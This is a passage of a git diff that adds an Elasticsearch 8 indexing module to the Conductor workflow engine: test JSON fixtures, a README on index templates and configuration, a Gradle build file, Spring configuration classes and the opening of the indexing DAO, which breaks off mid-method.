@@ -0,0 +1,17 @@ +{ + "taskId": "9dea4567-0240-4eab-bde8-99f4535ea3fc", + "taskDefName": "templated_task", + "taskType": "templated_task", + "workflowId": "WORKFLOW_INSTANCE_ID", + "workflowType": "template_workflow", + "correlationId": "testTaskDefTemplate", + "scheduledTime": "2021-08-22T05:18:25.121Z", + "startTime": "0", + "endTime": "0", + "updateTime": "2021-08-23T00:18:25.121Z", + "status": "SCHEDULED", + "workflowPriority": 1, + "queueWaitTime": 0, + "executionTime": 0, + "input": "{http_request={method=GET, vipStack=test_stack, body={requestDetails={key1=value1, key2=42}, outputPath=s3://bucket/outputPath, inputPaths=[file://path1, file://path2]}, uri=/get/something}}" +} \ No newline at end of file diff --git a/es7-persistence/src/test/resources/workflow_summary.json b/es7-persistence/src/test/resources/workflow_summary.json new file mode 100644 index 0000000..443d846 --- /dev/null +++ b/es7-persistence/src/test/resources/workflow_summary.json @@ -0,0 +1,12 @@ +{ + "workflowType": "template_workflow", + "version": 1, + "workflowId": "WORKFLOW_INSTANCE_ID", + "priority": 1, + "correlationId": "testTaskDefTemplate", + "startTime": 1534983505050, + "updateTime": 1534983505131, + "endTime": 0, + "status": "RUNNING", + "input": "{path1=file://path1, path2=file://path2, requestDetails={key1=value1, key2=42}, outputPath=s3://bucket/outputPath}" +} diff --git a/es8-persistence/README.md b/es8-persistence/README.md new file mode 100644 index 0000000..de0d41d --- /dev/null +++ b/es8-persistence/README.md @@ -0,0 +1,82 @@ +# ES8 Persistence + +This module provides Elasticsearch 8.x persistence for indexing workflows and tasks. + +It uses the Elasticsearch Java API Client (`elasticsearch-java`) aligned with ES8. + +## Index management (ES8 best practices) + +This module uses composable index templates, write aliases, and an ILM policy: + +- **ILM policy:** `${indexPrefix}-default-ilm-policy` +- **Rollover conditions (hot phase):** `max_primary_shard_size=50gb` +- **Write aliases:** `${indexPrefix}_workflow`, `${indexPrefix}_task`, `${indexPrefix}_task_log`, + `${indexPrefix}_message`, `${indexPrefix}_event` +- **Initial indices:** `${alias}-000001` (created automatically when index management is enabled) +- **Refresh interval:** defaults to `30s` for all indices (configurable) + +## Build and usage + +### 1) Build-time module selection + +When building the server, select the ES8 persistence module to avoid Lucene conflicts: + +```sh +./gradlew :conductor-server:bootJar -PindexingBackend=elasticsearch8 +``` + +`-PindexingBackend=es8` is also accepted. + +### 2) Runtime configuration + +Select the Elasticsearch 8 backend in your configuration: + +```properties +conductor.indexing.type=elasticsearch8 +``` + +### Elasticsearch version compatibility + +The ES8 module uses `elasticsearch-java` client version `8.19.11`. +For local Docker-based setups, use Elasticsearch `8.19.x` (the provided compose file pins +`8.19.11`). + +All other `conductor.elasticsearch.*` properties are shared with the ES7 module. + +### Configuration + +(Default values shown below) + +```properties +# A comma separated list of scheme/host/port of the ES nodes to communicate with. +# Scheme can be `http` or `https`. If scheme is omitted then `http` will be used. +conductor.elasticsearch.url=localhost:9200 + +# The name of the workflow and task index. +conductor.elasticsearch.indexPrefix=conductor + +# Default refresh interval applied via the component template. +conductor.elasticsearch.indexRefreshInterval=30s + +# Path to a PEM-encoded certificate to trust for HTTPS connections. +conductor.elasticsearch.trustCertPath= + +# Worker queue size used in executor service for async methods in IndexDao. +conductor.elasticsearch.asyncWorkerQueueSize=100 + +# Maximum thread pool size in executor service for async methods in IndexDao +conductor.elasticsearch.asyncMaxPoolSize=12 + +# Timeout (in seconds) for the in-memory to be flushed if not explicitly indexed +conductor.elasticsearch.asyncBufferFlushTimeout=10 +``` + +### BASIC Authentication + +If you need to pass user/password to connect to ES, add the following properties to your +config file: + +``` +conductor.elasticsearch.username=someusername +conductor.elasticsearch.password=somepassword +``` diff --git a/es8-persistence/build.gradle b/es8-persistence/build.gradle new file mode 100644 index 0000000..31b9ef7 --- /dev/null +++ b/es8-persistence/build.gradle @@ -0,0 +1,58 @@ +plugins { + id 'com.github.johnrengelman.shadow' version '7.0.0' + id 'java' +} + +configurations { + // Prevent shaded dependencies from being published, while keeping them available to tests + shadow.extendsFrom compileOnly + testRuntime.extendsFrom compileOnly +} + +// ES8 must not depend on the deprecated High Level REST Client (HLRC). +configurations.configureEach { + exclude group: 'org.elasticsearch.client', module: 'elasticsearch-rest-high-level-client' +} + +// ES8 uses the Java API client. +ext['elasticsearch.version'] = revElasticSearch8 + +dependencies { + + implementation project(':conductor-common') + implementation project(':conductor-core') + implementation project(':conductor-common-persistence') + + compileOnly 'org.springframework.boot:spring-boot-starter' + compileOnly 'org.springframework.retry:spring-retry' + + implementation "commons-io:commons-io:${revCommonsIo}" + implementation "org.apache.commons:commons-lang3" + implementation "com.google.guava:guava:${revGuava}" + + implementation "com.fasterxml.jackson.core:jackson-databind" + implementation "com.fasterxml.jackson.core:jackson-core" + + implementation "org.elasticsearch.client:elasticsearch-rest-client:${revElasticSearch8}" + implementation "co.elastic.clients:elasticsearch-java:${revElasticSearch8}" + + testImplementation "net.java.dev.jna:jna:5.7.0" + testImplementation "org.awaitility:awaitility:${revAwaitility}" + testImplementation "org.testcontainers:elasticsearch:${revTestContainer}" + testImplementation project(':conductor-test-util').sourceSets.test.output + testImplementation 'org.springframework.retry:spring-retry' + +} + +// Drop the classifier and delete jar task actions to replace the regular jar artifact with the shadow artifact +shadowJar { + configurations = [project.configurations.shadow] + archiveClassifier = null + + // Service files are not included by default. + mergeServiceFiles { + include 'META-INF/services/*' + include 'META-INF/maven/*' + } +} +jar.dependsOn shadowJar diff --git a/es8-persistence/src/main/java/org/conductoross/conductor/es8/config/ElasticSearchConditions.java b/es8-persistence/src/main/java/org/conductoross/conductor/es8/config/ElasticSearchConditions.java new file mode 100644 index 0000000..b1d89a1 --- /dev/null +++ b/es8-persistence/src/main/java/org/conductoross/conductor/es8/config/ElasticSearchConditions.java @@ -0,0 +1,52 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.es8.config; + +import org.springframework.boot.autoconfigure.condition.AllNestedConditions; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; + +/** + * Conditional configuration for enabling Elasticsearch 8.x as the indexing backend. + * + *

    Elasticsearch 8.x is enabled when: + * + *

      + *
    • {@code conductor.indexing.enabled=true} (defaults to true if not specified) + *
    • {@code conductor.indexing.type=elasticsearch8} + *
    + */ +public class ElasticSearchConditions { + + private ElasticSearchConditions() {} + + public static class ElasticSearchV8Enabled extends AllNestedConditions { + + ElasticSearchV8Enabled() { + super(ConfigurationPhase.PARSE_CONFIGURATION); + } + + @SuppressWarnings("unused") + @ConditionalOnProperty( + name = "conductor.indexing.enabled", + havingValue = "true", + matchIfMissing = true) + static class enabledIndexing {} + + @SuppressWarnings("unused") + @ConditionalOnProperty( + name = "conductor.indexing.type", + havingValue = "elasticsearch8", + matchIfMissing = false) + static class enabledES8 {} + } +} diff --git a/es8-persistence/src/main/java/org/conductoross/conductor/es8/config/ElasticSearchProperties.java b/es8-persistence/src/main/java/org/conductoross/conductor/es8/config/ElasticSearchProperties.java new file mode 100644 index 0000000..4976b3e --- /dev/null +++ b/es8-persistence/src/main/java/org/conductoross/conductor/es8/config/ElasticSearchProperties.java @@ -0,0 +1,274 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.es8.config; + +import java.net.MalformedURLException; +import java.net.URL; +import java.time.Duration; +import java.time.temporal.ChronoUnit; +import java.util.Arrays; +import java.util.List; +import java.util.stream.Collectors; + +import org.springframework.boot.context.properties.ConfigurationProperties; +import org.springframework.boot.convert.DurationUnit; + +@ConfigurationProperties("conductor.elasticsearch") +public class ElasticSearchProperties { + + /** + * The comma separated list of urls for the elasticsearch cluster. Format -- + * host1:port1,host2:port2 + */ + private String url = "localhost:9200"; + + /** The index prefix to be used when creating indices */ + private String indexPrefix = "conductor"; + + /** The color of the elasticserach cluster to wait for to confirm healthy status */ + private String clusterHealthColor = "green"; + + /** The size of the batch to be used for bulk indexing in async mode */ + private int indexBatchSize = 1; + + /** The size of the queue used for holding async indexing tasks */ + private int asyncWorkerQueueSize = 100; + + /** The maximum number of threads allowed in the async pool */ + private int asyncMaxPoolSize = 12; + + /** + * The time in seconds after which the async buffers will be flushed (if no activity) to prevent + * data loss + */ + @DurationUnit(ChronoUnit.SECONDS) + private Duration asyncBufferFlushTimeout = Duration.ofSeconds(10); + + /** The number of shards that the index will be created with */ + private int indexShardCount = 5; + + /** The number of replicas that the index will be configured to have */ + private int indexReplicasCount = 1; + + /** The number of task log results that will be returned in the response */ + private int taskLogResultLimit = 10; + + /** The default refresh interval applied to indices created by templates */ + @DurationUnit(ChronoUnit.SECONDS) + private Duration indexRefreshInterval = Duration.ofSeconds(30); + + /** Path to a PEM-encoded certificate to trust for HTTPS connections. */ + private String trustCertPath; + + /** The timeout in milliseconds used when requesting a connection from the connection manager */ + private int restClientConnectionRequestTimeout = -1; + + /** Used to control if index management is to be enabled or will be controlled externally */ + private boolean autoIndexManagementEnabled = true; + + /** + * Document types are deprecated in ES6 and removed in ES7/ES8. This property can be used to + * disable the use of specific document types with an override. This property is currently used + * in ES6 module. + * + *

    Note that this property will only take effect if {@link + * ElasticSearchProperties#isAutoIndexManagementEnabled} is set to false and index management is + * handled outside of this module. + */ + private String documentTypeOverride = ""; + + /** Elasticsearch basic auth username */ + private String username; + + /** Elasticsearch basic auth password */ + private String password; + + /** + * Whether to wait for index refresh when updating tasks and workflows. When enabled, the + * operation will block until the changes are visible for search. This guarantees immediate + * search visibility but can significantly impact performance (20-30s delays). Defaults to false + * for better performance. + */ + private boolean waitForIndexRefresh = false; + + public String getUrl() { + return url; + } + + public void setUrl(String url) { + this.url = url; + } + + public String getIndexPrefix() { + return indexPrefix; + } + + public void setIndexPrefix(String indexPrefix) { + this.indexPrefix = indexPrefix; + } + + public String getClusterHealthColor() { + return clusterHealthColor; + } + + public void setClusterHealthColor(String clusterHealthColor) { + this.clusterHealthColor = clusterHealthColor; + } + + public int getIndexBatchSize() { + return indexBatchSize; + } + + public void setIndexBatchSize(int indexBatchSize) { + this.indexBatchSize = indexBatchSize; + } + + public int getAsyncWorkerQueueSize() { + return asyncWorkerQueueSize; + } + + public void setAsyncWorkerQueueSize(int asyncWorkerQueueSize) { + this.asyncWorkerQueueSize = asyncWorkerQueueSize; + } + + public int getAsyncMaxPoolSize() { + return asyncMaxPoolSize; + } + + public void setAsyncMaxPoolSize(int asyncMaxPoolSize) { + this.asyncMaxPoolSize = asyncMaxPoolSize; + } + + public Duration getAsyncBufferFlushTimeout() { + return asyncBufferFlushTimeout; + } + + public void setAsyncBufferFlushTimeout(Duration asyncBufferFlushTimeout) { + this.asyncBufferFlushTimeout = asyncBufferFlushTimeout; + } + + public int getIndexShardCount() { + return indexShardCount; + } + + public void setIndexShardCount(int indexShardCount) { + this.indexShardCount = indexShardCount; + } + + public int getIndexReplicasCount() { + return indexReplicasCount; + } + + public void setIndexReplicasCount(int indexReplicasCount) { + this.indexReplicasCount = indexReplicasCount; + } + + public int getTaskLogResultLimit() { + return taskLogResultLimit; + } + + public void setTaskLogResultLimit(int taskLogResultLimit) { + this.taskLogResultLimit = taskLogResultLimit; + } + + public Duration getIndexRefreshInterval() { + return indexRefreshInterval; + } + + public void setIndexRefreshInterval(Duration indexRefreshInterval) { + this.indexRefreshInterval = indexRefreshInterval; + } + + public String getTrustCertPath() { + return trustCertPath; + } + + public void setTrustCertPath(String trustCertPath) { + this.trustCertPath = trustCertPath; + } + + public int getRestClientConnectionRequestTimeout() { + return restClientConnectionRequestTimeout; + } + + public void setRestClientConnectionRequestTimeout(int restClientConnectionRequestTimeout) { + this.restClientConnectionRequestTimeout = restClientConnectionRequestTimeout; + } + + public boolean isAutoIndexManagementEnabled() { + return autoIndexManagementEnabled; + } + + public void setAutoIndexManagementEnabled(boolean autoIndexManagementEnabled) { + this.autoIndexManagementEnabled = autoIndexManagementEnabled; + } + + public String getDocumentTypeOverride() { + return documentTypeOverride; + } + + public void setDocumentTypeOverride(String documentTypeOverride) { + this.documentTypeOverride = documentTypeOverride; + } + + public String getUsername() { + return username; + } + + public void setUsername(String username) { + this.username = username; + } + + public String getPassword() { + return password; + } + + public void setPassword(String password) { + this.password = password; + } + + public boolean isWaitForIndexRefresh() { + return waitForIndexRefresh; + } + + public void setWaitForIndexRefresh(boolean waitForIndexRefresh) { + this.waitForIndexRefresh = waitForIndexRefresh; + } + + public List toURLs() { + String clusterAddress = getUrl() == null ? "" : getUrl(); + List urls = + Arrays.stream(clusterAddress.split(",")) + .map(String::trim) + .filter(host -> !host.isEmpty()) + .map( + host -> + (host.startsWith("http://") || host.startsWith("https://")) + ? toURL(host) + : toURL("http://" + host)) + .collect(Collectors.toList()); + if (urls.isEmpty()) { + throw new IllegalArgumentException( + "conductor.elasticsearch.url must include at least one host"); + } + return urls; + } + + private URL toURL(String url) { + try { + return new URL(url); + } catch (MalformedURLException e) { + throw new IllegalArgumentException(url + " can not be converted to java.net.URL"); + } + } +} diff --git a/es8-persistence/src/main/java/org/conductoross/conductor/es8/config/ElasticSearchV8Configuration.java b/es8-persistence/src/main/java/org/conductoross/conductor/es8/config/ElasticSearchV8Configuration.java new file mode 100644 index 0000000..ee22d2c --- /dev/null +++ b/es8-persistence/src/main/java/org/conductoross/conductor/es8/config/ElasticSearchV8Configuration.java @@ -0,0 +1,160 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.es8.config; + +import java.net.URL; +import java.nio.file.Files; +import java.nio.file.Path; +import java.security.KeyStore; +import java.security.cert.Certificate; +import java.security.cert.CertificateFactory; +import java.util.List; + +import javax.net.ssl.SSLContext; + +import org.apache.http.HttpHost; +import org.apache.http.auth.AuthScope; +import org.apache.http.auth.UsernamePasswordCredentials; +import org.apache.http.client.CredentialsProvider; +import org.apache.http.impl.client.BasicCredentialsProvider; +import org.conductoross.conductor.es8.dao.index.ElasticSearchRestDAOV8; +import org.elasticsearch.client.RestClient; +import org.elasticsearch.client.RestClientBuilder; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Qualifier; +import org.springframework.boot.context.properties.EnableConfigurationProperties; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Conditional; +import org.springframework.context.annotation.Configuration; +import org.springframework.context.annotation.Primary; +import org.springframework.retry.backoff.FixedBackOffPolicy; +import org.springframework.retry.support.RetryTemplate; + +import com.netflix.conductor.dao.IndexDAO; + +import com.fasterxml.jackson.databind.ObjectMapper; + +@Configuration(proxyBeanMethods = false) +@EnableConfigurationProperties(ElasticSearchProperties.class) +@Conditional(ElasticSearchConditions.ElasticSearchV8Enabled.class) +public class ElasticSearchV8Configuration { + + private static final Logger log = LoggerFactory.getLogger(ElasticSearchV8Configuration.class); + + @Bean + public RestClient restClient(RestClientBuilder restClientBuilder) { + return restClientBuilder.build(); + } + + @Bean + public RestClientBuilder elasticRestClientBuilder(ElasticSearchProperties properties) { + RestClientBuilder builder = RestClient.builder(convertToHttpHosts(properties.toURLs())); + + CredentialsProvider credentialsProvider = null; + if (properties.getRestClientConnectionRequestTimeout() > 0) { + builder.setRequestConfigCallback( + requestConfigBuilder -> + requestConfigBuilder.setConnectionRequestTimeout( + properties.getRestClientConnectionRequestTimeout())); + } + + if (properties.getUsername() != null && properties.getPassword() != null) { + log.info( + "Configure ElasticSearch with BASIC authentication. User:{}", + properties.getUsername()); + credentialsProvider = new BasicCredentialsProvider(); + credentialsProvider.setCredentials( + AuthScope.ANY, + new UsernamePasswordCredentials( + properties.getUsername(), properties.getPassword())); + } else { + log.info("Configure ElasticSearch with no authentication."); + } + + SSLContext sslContext = null; + if (properties.getTrustCertPath() != null && !properties.getTrustCertPath().isBlank()) { + try { + sslContext = buildSslContextFromCert(properties.getTrustCertPath().trim()); + log.info("Configured Elasticsearch REST client with custom trust certificate."); + } catch (Exception e) { + log.warn("Failed to load trust certificate for Elasticsearch REST client", e); + } + } + + if (credentialsProvider != null || sslContext != null) { + CredentialsProvider finalCredentialsProvider = credentialsProvider; + SSLContext finalSslContext = sslContext; + builder.setHttpClientConfigCallback( + httpClientBuilder -> { + if (finalCredentialsProvider != null) { + httpClientBuilder.setDefaultCredentialsProvider( + finalCredentialsProvider); + } + if (finalSslContext != null) { + httpClientBuilder.setSSLContext(finalSslContext); + } + return httpClientBuilder; + }); + } + return builder; + } + + private SSLContext buildSslContextFromCert(String certPath) throws Exception { + CertificateFactory certificateFactory = CertificateFactory.getInstance("X.509"); + var certificates = List.of(); + try (var inputStream = Files.newInputStream(Path.of(certPath))) { + certificates = + certificateFactory.generateCertificates(inputStream).stream() + .map(Certificate.class::cast) + .toList(); + } + if (certificates.isEmpty()) { + throw new IllegalArgumentException("No certificates found at " + certPath); + } + KeyStore trustStore = KeyStore.getInstance(KeyStore.getDefaultType()); + trustStore.load(null, null); + for (int i = 0; i < certificates.size(); i++) { + trustStore.setCertificateEntry("conductor-es-cert-" + i, certificates.get(i)); + } + return org.apache.http.ssl.SSLContexts.custom().loadTrustMaterial(trustStore, null).build(); + } + + @Primary // If you are including this project, it's assumed you want ES to be your indexing + // mechanism + @Bean + public IndexDAO es8IndexDAO( + RestClientBuilder restClientBuilder, + @Qualifier("es8RetryTemplate") RetryTemplate retryTemplate, + ElasticSearchProperties properties, + ObjectMapper objectMapper) { + String url = properties.getUrl(); + return new ElasticSearchRestDAOV8( + restClientBuilder, retryTemplate, properties, objectMapper); + } + + @Bean + public RetryTemplate es8RetryTemplate() { + RetryTemplate retryTemplate = new RetryTemplate(); + FixedBackOffPolicy fixedBackOffPolicy = new FixedBackOffPolicy(); + fixedBackOffPolicy.setBackOffPeriod(1000L); + retryTemplate.setBackOffPolicy(fixedBackOffPolicy); + return retryTemplate; + } + + private HttpHost[] convertToHttpHosts(List hosts) { + return hosts.stream() + .map(host -> new HttpHost(host.getHost(), host.getPort(), host.getProtocol())) + .toArray(HttpHost[]::new); + } +} diff --git a/es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/index/ElasticSearchRestDAOV8.java b/es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/index/ElasticSearchRestDAOV8.java new file mode 100644 index 0000000..f37645e --- /dev/null +++ b/es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/index/ElasticSearchRestDAOV8.java @@ -0,0 +1,1213 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.es8.dao.index; + +import java.io.IOException; +import java.time.Instant; +import java.util.*; +import java.util.concurrent.*; +import java.util.stream.Collectors; +import java.util.stream.IntStream; + +import org.apache.commons.lang3.StringUtils; +import org.apache.http.HttpStatus; +import org.conductoross.conductor.es8.config.ElasticSearchProperties; +import org.conductoross.conductor.es8.dao.query.parser.internal.ParserException; +import org.elasticsearch.client.Request; +import org.elasticsearch.client.Response; +import org.elasticsearch.client.ResponseException; +import org.elasticsearch.client.RestClient; +import org.elasticsearch.client.RestClientBuilder; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.retry.support.RetryTemplate; + +import com.netflix.conductor.annotations.Trace; +import com.netflix.conductor.common.metadata.events.EventExecution; +import com.netflix.conductor.common.metadata.tasks.TaskExecLog; +import com.netflix.conductor.common.run.SearchResult; +import com.netflix.conductor.common.run.TaskSummary; +import com.netflix.conductor.common.run.WorkflowSummary; +import com.netflix.conductor.core.events.queue.Message; +import com.netflix.conductor.core.exception.NonTransientException; +import com.netflix.conductor.core.exception.NotFoundException; +import com.netflix.conductor.core.exception.TransientException; +import com.netflix.conductor.dao.IndexDAO; +import com.netflix.conductor.metrics.Monitors; + +import co.elastic.clients.elasticsearch.ElasticsearchAsyncClient; +import co.elastic.clients.elasticsearch.ElasticsearchClient; +import co.elastic.clients.elasticsearch._types.ElasticsearchException; +import co.elastic.clients.elasticsearch._types.FieldValue; +import co.elastic.clients.elasticsearch._types.Refresh; +import co.elastic.clients.elasticsearch._types.Result; +import co.elastic.clients.elasticsearch._types.SortOrder; +import co.elastic.clients.elasticsearch._types.query_dsl.Query; +import co.elastic.clients.elasticsearch.core.DeleteByQueryResponse; +import co.elastic.clients.elasticsearch.core.DeleteResponse; +import co.elastic.clients.elasticsearch.core.GetResponse; +import co.elastic.clients.elasticsearch.core.SearchResponse; +import co.elastic.clients.elasticsearch.core.UpdateResponse; +import co.elastic.clients.elasticsearch.core.bulk.BulkOperation; +import co.elastic.clients.json.jackson.JacksonJsonpMapper; +import co.elastic.clients.transport.ElasticsearchTransport; +import co.elastic.clients.transport.rest_client.RestClientTransport; +import com.fasterxml.jackson.databind.JsonNode; +import com.fasterxml.jackson.databind.ObjectMapper; +import jakarta.annotation.*; + +@Trace +public class ElasticSearchRestDAOV8 implements IndexDAO { + + private static final Logger logger = LoggerFactory.getLogger(ElasticSearchRestDAOV8.class); + + private static final int CORE_POOL_SIZE = 6; + private static final long KEEP_ALIVE_TIME = 1L; + + private static final String WORKFLOW_DOC_TYPE = "workflow"; + private static final String TASK_DOC_TYPE = "task"; + private static final String LOG_DOC_TYPE = "task_log"; + private static final String EVENT_DOC_TYPE = "event"; + private static final String MSG_DOC_TYPE = "message"; + private static final int TASK_LOG_DELETE_BATCH_SIZE = 500; + + private @interface HttpMethod { + + String GET = "GET"; + String POST = "POST"; + String PUT = "PUT"; + String HEAD = "HEAD"; + } + + private static final String className = ElasticSearchRestDAOV8.class.getSimpleName(); + + private final String workflowIndexName; + private final String taskIndexName; + private final String eventIndexPrefix; + private final String eventIndexName; + private final String messageIndexPrefix; + private final String messageIndexName; + private final String logIndexName; + private final String logIndexPrefix; + + private final ElasticsearchClient elasticSearchClient; + private final ElasticsearchAsyncClient elasticSearchAsyncClient; + private final ElasticsearchTransport transport; + private final RestClient elasticSearchAdminClient; + private final ExecutorService executorService; + private final ExecutorService logExecutorService; + private final ElasticSearchProperties properties; + private final RetryTemplate retryTemplate; + private final ObjectMapper objectMapper; + private final String indexPrefix; + private final Es8IndexManagementSupport indexManagementSupport; + private final Es8SearchSupport searchSupport; + private final Es8BulkIngestionSupport bulkIngestionSupport; + + public ElasticSearchRestDAOV8( + RestClientBuilder restClientBuilder, + RetryTemplate retryTemplate, + ElasticSearchProperties properties, + ObjectMapper objectMapper) { + + this.objectMapper = objectMapper; + this.elasticSearchAdminClient = restClientBuilder.build(); + this.transport = + new RestClientTransport( + this.elasticSearchAdminClient, new JacksonJsonpMapper(objectMapper)); + this.elasticSearchClient = new ElasticsearchClient(transport); + this.elasticSearchAsyncClient = new ElasticsearchAsyncClient(transport); + this.properties = properties; + + this.indexPrefix = properties.getIndexPrefix(); + + this.workflowIndexName = getIndexName(WORKFLOW_DOC_TYPE); + this.taskIndexName = getIndexName(TASK_DOC_TYPE); + this.logIndexPrefix = getIndexName(LOG_DOC_TYPE); + this.messageIndexPrefix = getIndexName(MSG_DOC_TYPE); + this.eventIndexPrefix = getIndexName(EVENT_DOC_TYPE); + this.logIndexName = this.logIndexPrefix; + this.messageIndexName = this.messageIndexPrefix; + this.eventIndexName = this.eventIndexPrefix; + int workerQueueSize = properties.getAsyncWorkerQueueSize(); + int maximumPoolSize = properties.getAsyncMaxPoolSize(); + + // Set up a workerpool for performing async operations. + this.executorService = + new ThreadPoolExecutor( + CORE_POOL_SIZE, + maximumPoolSize, + KEEP_ALIVE_TIME, + TimeUnit.MINUTES, + new LinkedBlockingQueue<>(workerQueueSize), + (runnable, executor) -> { + logger.warn( + "Request {} to async dao discarded in executor {}", + runnable, + executor); + Monitors.recordDiscardedIndexingCount("indexQueue"); + }); + + // Set up a workerpool for performing async operations for task_logs, event_executions, + // message + int corePoolSize = 1; + maximumPoolSize = 2; + long keepAliveTime = 30L; + this.logExecutorService = + new ThreadPoolExecutor( + corePoolSize, + maximumPoolSize, + keepAliveTime, + TimeUnit.SECONDS, + new LinkedBlockingQueue<>(workerQueueSize), + (runnable, executor) -> { + logger.warn( + "Request {} to async log dao discarded in executor {}", + runnable, + executor); + Monitors.recordDiscardedIndexingCount("logQueue"); + }); + this.retryTemplate = retryTemplate; + this.indexManagementSupport = + new Es8IndexManagementSupport( + this.elasticSearchClient, + this.retryTemplate, + this.properties, + this.objectMapper, + this.indexPrefix, + this.workflowIndexName, + this.taskIndexName, + this.logIndexName, + this.messageIndexName, + this.eventIndexName); + this.searchSupport = new Es8SearchSupport(this.elasticSearchClient, this.indexPrefix); + this.bulkIngestionSupport = + new Es8BulkIngestionSupport( + this.elasticSearchClient, + this.elasticSearchAsyncClient, + this.retryTemplate, + this.properties, + this.executorService, + this.logExecutorService, + className); + } + + @PreDestroy + private void shutdown() { + logger.info("Gracefully shutdown executor service"); + bulkIngestionSupport.close(); + shutdownExecutorService(logExecutorService); + shutdownExecutorService(executorService); + try { + transport.close(); + } catch (IOException e) { + logger.warn("Failed to close Elasticsearch transport", e); + } + } + + private void shutdownExecutorService(ExecutorService execService) { + try { + execService.shutdown(); + if (execService.awaitTermination(30, TimeUnit.SECONDS)) { + logger.debug("tasks completed, shutting down"); + } else { + logger.warn("Forcing shutdown after waiting for 30 seconds"); + execService.shutdownNow(); + } + } catch (InterruptedException ie) { + logger.warn( + "Shutdown interrupted, invoking shutdownNow on scheduledThreadPoolExecutor for delay queue"); + execService.shutdownNow(); + Thread.currentThread().interrupt(); + } + } + + @Override + @PostConstruct + public void setup() throws Exception { + indexManagementSupport.setup(); + } + + private Query boolQueryBuilder(String expression, String queryString) throws ParserException { + return searchSupport.boolQueryBuilder(expression, queryString); + } + + private String getIndexName(String documentType) { + if (StringUtils.isBlank(indexPrefix)) { + return documentType; + } + if (indexPrefix.endsWith("_")) { + return indexPrefix + documentType; + } + return indexPrefix + "_" + documentType; + } + + /** + * Determines whether a resource exists in ES. This will call a GET method to a particular path + * and return true if status 200; false otherwise. + * + * @param resourcePath The path of the resource to get. + * @return True if it exists; false otherwise. + * @throws IOException If an error occurred during requests to ES. + */ + public boolean doesResourceExist(final String resourcePath) throws IOException { + Request request = new Request(HttpMethod.HEAD, resourcePath); + try { + Response response = elasticSearchAdminClient.performRequest(request); + return response.getStatusLine().getStatusCode() == HttpStatus.SC_OK; + } catch (ResponseException e) { + int statusCode = e.getResponse().getStatusLine().getStatusCode(); + if (statusCode == HttpStatus.SC_NOT_FOUND) { + return false; + } + if (statusCode == HttpStatus.SC_METHOD_NOT_ALLOWED) { + try { + Response response = + elasticSearchAdminClient.performRequest( + new Request(HttpMethod.GET, resourcePath)); + return response.getStatusLine().getStatusCode() == HttpStatus.SC_OK; + } catch (ResponseException inner) { + int innerStatus = inner.getResponse().getStatusLine().getStatusCode(); + if (innerStatus == HttpStatus.SC_NOT_FOUND) { + return false; + } + throw inner; + } + } + throw e; + } + } + + /** + * The inverse of doesResourceExist. + * + * @param resourcePath The path of the resource to check. + * @return True if it does not exist; false otherwise. + * @throws IOException If an error occurred during requests to ES. + */ + public boolean doesResourceNotExist(final String resourcePath) throws IOException { + return !doesResourceExist(resourcePath); + } + + private T executeWithRetry(Callable action) throws IOException { + try { + return retryTemplate.execute(context -> action.call()); + } catch (Exception e) { + if (e instanceof IOException) { + throw (IOException) e; + } + if (e instanceof RuntimeException) { + throw (RuntimeException) e; + } + throw new IOException("Elasticsearch operation failed", e); + } + } + + @Override + public void indexWorkflow(WorkflowSummary workflow) { + try { + long startTime = Instant.now().toEpochMilli(); + String workflowId = workflow.getWorkflowId(); + Refresh refresh = properties.isWaitForIndexRefresh() ? Refresh.WaitFor : null; + executeWithRetry( + () -> + elasticSearchClient.index( + i -> { + i.index(workflowIndexName) + .id(workflowId) + .document(workflow); + if (refresh != null) { + i.refresh(refresh); + } + return i; + })); + long endTime = Instant.now().toEpochMilli(); + logger.debug( + "Time taken {} for indexing workflow: {}", endTime - startTime, workflowId); + Monitors.recordESIndexTime("index_workflow", WORKFLOW_DOC_TYPE, endTime - startTime); + Monitors.recordWorkerQueueSize( + "indexQueue", ((ThreadPoolExecutor) executorService).getQueue().size()); + } catch (Exception e) { + Monitors.error(className, "indexWorkflow"); + logger.error("Failed to index workflow: {}", workflow.getWorkflowId(), e); + } + } + + @Override + public CompletableFuture asyncIndexWorkflow(WorkflowSummary workflow) { + return CompletableFuture.runAsync(() -> indexWorkflow(workflow), executorService); + } + + @Override + public void indexTask(TaskSummary task) { + try { 